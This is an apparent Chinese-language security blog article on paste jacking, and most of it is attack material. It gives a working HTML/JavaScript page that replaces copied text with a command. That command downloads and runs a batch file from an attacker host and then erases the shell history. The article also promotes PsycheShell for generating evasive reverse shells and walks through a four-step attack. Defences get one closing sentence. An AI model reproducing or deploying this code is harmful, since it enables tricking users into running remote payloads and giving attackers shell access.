介绍
在网络安全领域,粘贴劫持 (Paste Jacking)等技术代表着社会工程攻击日益复杂的趋势。当用户从网页上复制看似无害的内容,但粘贴的内容却遭到恶意篡改时,就会发生粘贴劫持。攻击者可以使用此技术在目标机器上执行命令,尤其是当用户粘贴到终端等敏感环境中时。在本文中,我们将深入探讨粘贴劫持的工作原理,分析其背后的代码,并讨论防范方法。
什么是 Paste Jacking?
粘贴劫持是指操纵用户从网页复制的内容,使其在粘贴时执行意外操作。通常,用户看到的是无害的文本或代码,但后台运行的 JavaScript 会将复制的内容替换为恶意负载。此负载可能包含任何内容,从下载和执行脚本到创建与攻击者计算机的反向 shell 连接。
例如,用户可能会sudo apt update在网页上看到类似命令,并决定将其复制并粘贴到终端中。然而,他们实际粘贴的内容可能是下载并运行攻击者控制的恶意脚本的命令。
粘贴劫持代码示例
让我们看一个真实的粘贴劫持示例,并分析使其发挥作用的代码。以下 HTML 和 JavaScript 代码演示了如何用恶意内容替换复制的文本。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Paste Jacking Example</title>
<script type="text/javascript">
// Replace the copied content with malicious command when the user copies
document.addEventListener('copy', function(e) {
// Text that appears to the user
var originalText = document.getElementById('copytext').textContent;
// Malicious payload that will be copied to the clipboard
var maliciousCommand = "curl -O http://192.168.1.50/malicious.bat && malicious.bat && history -d $(history 1) || cls";
// Set the copied text to the malicious command
e.clipboardData.setData('text/plain', maliciousCommand);
e.preventDefault(); // Prevent default copy action
});
</script>
</head>
<body>
<h1>Copy the following command:</h1>
<p id="copytext">sudo apt update</p>
</body>
</html>
代码解析
原始文本与恶意文本:在此示例中,用户看到类似这样的命令sudo apt update,该命令看起来完全安全。但是,当用户选择并复制文本时,JavaScript 事件监听器会拦截该操作,并将复制的内容替换为恶意命令。
var malwareCommand = “curl -O http://192.168.1.50/malicious.bat && malware.bat && history -d $( history 1) || cls”;
此命令执行以下操作:
curl -O http://192.168.1.50/malicious.bat:.bat从攻击者的服务器下载恶意文件。
malicious.bat:执行下载的.bat文件。
history -d $(history 1):从终端历史记录中删除最后一个命令(在 Linux/MacOS 环境中)以隐藏痕迹。
cls:清除 Windows 上的终端屏幕。
JavaScript 事件监听器:document.addEventListener('copy')用于检测网页上何时执行复制操作。一旦用户尝试复制内容,此监听器就会执行提供的函数,用恶意命令替换复制的内容
e .clipboardData .setData ('text/plain',maliciousCommand);
e .preventDefault (); // 停止原始复制操作
该行e.preventDefault()阻止浏览器执行默认的复制操作,确保粘贴恶意内容而不是原始内容。
利用 PsycheShell 进行反向 Shell 攻击
PsycheShell是一款多功能工具,用于生成可以绕过防病毒软件和防火墙等常见安全机制的反向 shell。它提供混淆、加密 (SSL) 和持久性选项,使其成为 Paste Jacking 攻击的理想选择。
通过将 Paste Jacking 与PsycheShell生成的反向 shell 相结合,攻击者可以诱骗用户将恶意命令粘贴到他们的终端中,在不知不觉中执行这些命令并建立反向 shell 连接。
攻击如何运作的示例
步骤 1:攻击者创建一个网页,显示类似这样的良性命令sudo apt update。
第 2 步:攻击者包含 Paste Jacking JavaScript,以用PsycheShell反向 shell 负载替换复制的命令。
步骤3:用户复制显示的命令并将其粘贴到他们的终端中。
步骤 4:不是执行预期的命令,而是执行PsycheShell反向 shell,并与攻击者建立连接。
有关PsycheShell的更多信息,请访问PsycheShell GitHub Repo。
https://github.com/hello4r1end/psycheshell
结论:Paste Jacking 与 PsycheShell 相结合,为攻击者提供了一种绕过安全机制并获得未经授权的系统访问的高效方法。虽然对于红队和道德黑客来说非常有效,但对于组织来说,教育用户和实施保护措施至关重要,例如在不受信任的网站上禁用 JavaScript 并在将命令粘贴到敏感环境之前检查剪贴板内容。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里